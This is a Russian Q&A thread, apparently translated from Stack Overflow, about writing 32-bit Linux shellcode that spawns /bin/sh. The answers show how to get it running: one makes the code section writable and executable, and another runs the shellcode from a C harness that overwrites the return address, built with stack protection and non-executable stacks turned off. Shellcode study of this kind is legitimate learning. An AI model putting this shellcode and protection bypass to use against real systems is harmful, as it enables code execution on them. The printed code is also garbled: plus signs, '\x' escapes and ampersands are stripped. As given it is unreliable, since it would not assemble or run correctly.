как отключить функцию выполнения данных (DEP) в ubuntu для выполнения шелл-кода

#ubuntu #nasm #shellcode #dep

#ubuntu #nasm #шеллкод #dep

Вопрос:

я использую ubuntu 14.04, 64 бит. я изучаю написание шеллкода. Итак, чтобы создать оболочку, я написал следующую программу

 segment .text
global _start:
_start:


jmp short GotoCall

shellcode:
    pop esi
    xor eax, eax
    mov byte [esi   7], al          #here i get Error
    lea ebx, [esi]
    mov long [esi   8], ebx
    mov long [esi   12], eax

    mov byte al, 0x0b
    mov ebx, esi
    lea ecx, [esi   8]
    lea edx, [esi   12]     
    int 80h

GotoCall:
    call shellcode
    Db '/bin/shJAAAABBBB'
  

Скомпилированный -> nasm -ggdb -f elf Shellcode_Execve.asm

Linked -> ld -m elf_i386 -ggdb -o Shellcode_Execve Shellcode_Execve.o

Когда я запустил его в GDB, я обнаружил, что в приведенной ниже инструкции я получаю ошибку,

 mov byte [esi   7], al
  

я обнаружил, что это из-за DEP (ПРЕДОТВРАЩЕНИЕ ВЫПОЛНЕНИЯ ДАННЫХ).
Итак, я попробовал «-fno-stack-protector -z execstack» для компиляции и ссылки, как показано ниже,

 $ nasm -ggdb -f elf32 -z execstack Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help

$ nasm -ggdb -f elf32 -z execstack -o shell Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help

$ nasm -ggdb -z execstack -f elf32  -o shell Shellcode_Execve.asm
nasm: error: unrecognised option `-z'
nasm: error: more than one input file specified
type `nasm -h' for help

$ nasm -ggdb  -fno-stack-protector -z execstack -z execstack -f elf32  -o shell Shellcode_Execve.asm
nasm: fatal: unrecognised output format `no-stack-protector' - use -hf for a list
type `nasm -h' for help

$ nasm -ggdb -f elf32 Shellcode_Execve.asm

$ gcc -ggdb -m32 -fno-stack-protector -z execstack -o Shellcode_Execve Shellcode_Execve.o
Shellcode_Execve.o:Shellcode_Execve.asm:5: multiple definition of `_start'
/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib32/crt1.o:(.text 0x0): first defined here
/usr/lib/gcc/x86_64-linux-gnu/4.8/../../../../lib32/crt1.o: In function `_start':
(.text 0x18): undefined reference to `main'
collect2: error: ld returned 1 exit status

$ nasm -ggdb -f elf32 Shellcode_Execve.asm

$ gcc -ggdb -m32 -fno-stack-protector -z execstack -o Shellcode_Execve Shellcode_Execve.o

$ ./Shellcode_Execve 
Segmentation fault (core dumped)

$ nasm -ggdb -f elf32 Shellcode_Execve.asm

$ ld -m elf_i386 -ggdb -z execstack -o Shellcode_Execve Shellcode_Execve.o

$ ./Shellcode_Execve 
Segmentation fault (core dumped)
  

как и выше, я перепробовал все способы отключения DEP с помощью GCC и ld.
Но ничего не работает. Итак, как я могу отключить DEP? и заставить мой Код работать?
(пожалуйста, убедитесь, что проблема связана с DEP)

Ответ №1:

я немного изменил свой код NASM, теперь он выглядит так, как показано ниже,

 section .mytext progbits alloc exec write align=16  ; CHANGED HERE
    global _start:
_start:
    jmp short GotoCall

    shellcode:
        pop esi
        xor eax, eax
        mov byte [esi   7], al
        lea ebx, [esi]
        mov long [esi   8], ebx
        mov long [esi   12], eax

        mov byte al, 0x0b
        mov ebx, esi
        lea ecx, [esi   8]
        lea edx, [esi   12]        
        int 80h

    GotoCall:
        call shellcode
        Db '/bin/shJAAAABBBB'
  

Раздел .text по умолчанию недоступен для записи. Просто изменил первую строку на

«section .mytext progbits alloc exec write align=16 «

для получения подробной информации о progbits alloc exec write, пожалуйста, нажмите здесь.

И компоновщик имеет некоторое переопределение по умолчанию, поэтому он игнорирует writable .text, даже если вы попросите об этом. Но это не волнует, если у него другое имя.

теперь скомпилируйте и свяжите его,

 nasm -f elf32 Shellcode_Execve.asm
ld -m elf_i386 -o Shellcode_Execve Shellcode_Execve.o
  

Теперь это РАБОТАЕТ 🙂

Ответ №2:

Я знаю, что я действительно опаздываю, но я боролся с этим же кодом и защитой стека gcc. При преобразовании его в шеллкод с помощью objdump -d я получил:

 char shellcode[]="xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x69x6ex2fx73x68";

int main()
{
    int *ret;
    ret = (int *)amp;ret   2;
    (*ret) = (int)shellcode;
}
  

Затем, с помощью ваших советов, я смог скомпилировать и запустить его с:

~/Shellcode $ gcc -fno-stack-protector -z execstack execShellSpawn.c -o execShellSpawn

Без -z execstack я получаю ошибку Segfault. Без -fno-stack-protector она выполняет примерно столько же, сколько exit(0).